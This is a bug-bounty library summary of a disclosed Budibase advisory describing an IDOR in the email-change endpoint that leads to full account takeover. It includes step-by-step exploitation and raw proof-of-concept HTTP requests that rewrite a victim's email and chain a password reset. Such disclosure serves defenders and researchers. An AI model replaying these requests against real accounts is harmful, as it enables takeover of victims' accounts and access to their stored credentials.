# Budibase: Email Change IDOR via POST /api/v2/email allows full Account Takeover (accountId not validated against session)

Budibase account portal trusts client-supplied accountId in POST /api/v2/email, letting an authenticated attacker redirect a victim's email change to their own inbox and take over the account.

- Payout: Research
- Severity: high
- Program: Budibase
- Found by: themudhaxk, Ardeey-code
- Disclosed: 2026-07-24
- CVE: CVE-2026-73303
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-c8vc-7pv3-g98p
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-c8vc-7pv3-g98p
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:rest technique:source-review vuln:access-control vuln:account-takeover vuln:idor

**Target:** Account portal email-change workflow endpoint (POST /api/v2/email)
**Root cause:** The email-change workflow selects its target account from the client-supplied body.accountId without verifying it equals the authenticated session's accountId; only currentEmail is session-checked.
**Steps:**
1. Obtain victim's accountId (out-of-band; not exposed via normal API surface).
2. As attacker Account A, send `POST /api/v2/email` with `{"currentEmail":"<A_EMAIL>","newEmail":"attacker@example.net","accountId":"<VICTIM_ACCOUNT_ID>"}` — returns 201 and sets change_email cookies.
3. Complete with `POST /api/v2/email/verification` using `{"verificationCode":"<code>","processInstanceKey":"<key>"}` (code from attacker inbox or correlationkey cookie) — victim's email now attacker-controlled.
4. Confirm victim's original email returns 403 and attacker email logs into victim account.
5. `PUT /api/v2/auth/password {"email":"attacker@example.net"}` to receive reset link, complete via `PUT /api/v2/auth/password/verification`, log in as victim.
**How found:** Noticed the frontend only ever submits the session's own accountId, so the server likely trusts the body value; tested by pointing the workflow at a second account's accountId while passing the caller's currentEmail, then enumerated every non-admin endpoint to check whether accountId leaks (it did not).
**Exploitation:** Attacker with a victim accountId starts the email-change workflow against the victim's account while passing their own currentEmail to pass the session check; verification code goes to attacker inbox, victim's email is rewritten, then stock password-reset flow delivers a reset link to the attacker address, yielding full login as victim with access to tenants, apps and stored datasource credentials.
**Escalation:** Chains the IDOR with the platform's own password-reset flow to convert an email rewrite into full account takeover and lockout of the victim.
**Insight:** When a workflow endpoint session-checks one identity field (currentEmail) but takes a separate target selector (accountId) from the body, test cross-account targeting by satisfying the checked field with your own value; also map whether the selector is obtainable via any cross-user API before rating exploitability.

## Proof of concept (copied exactly from the original report)

**IDOR email-change request with victim accountId**

```
POST /api/v2/email HTTP/1.1
Host: account.budibase.app
Content-Type: application/json
Cookie: budibase:auth=<ACCOUNT_A_JWT>

{"currentEmail":"<ACCOUNT_A_EMAIL>","newEmail":"attacker-controlled@example.net","accountId":"<VICTIM_ACCOUNT_ID>"}
```

**Verification request completing victim email change**

```
POST /api/v2/email/verification HTTP/1.1
Host: account.budibase.app
Content-Type: application/json
Cookie: budibase:auth=<ACCOUNT_A_JWT>; budibase:change_email:correlationkey=<CODE>; budibase:change_email:instancekey=<KEY>

{"verificationCode":"<code>","processInstanceKey":"<key>"}
```

**Password reset to attacker-controlled email**

```
PUT /api/v2/auth/password HTTP/1.1
Host: account.budibase.app
Content-Type: application/json

{"email":"attacker-controlled@example.net"}
```

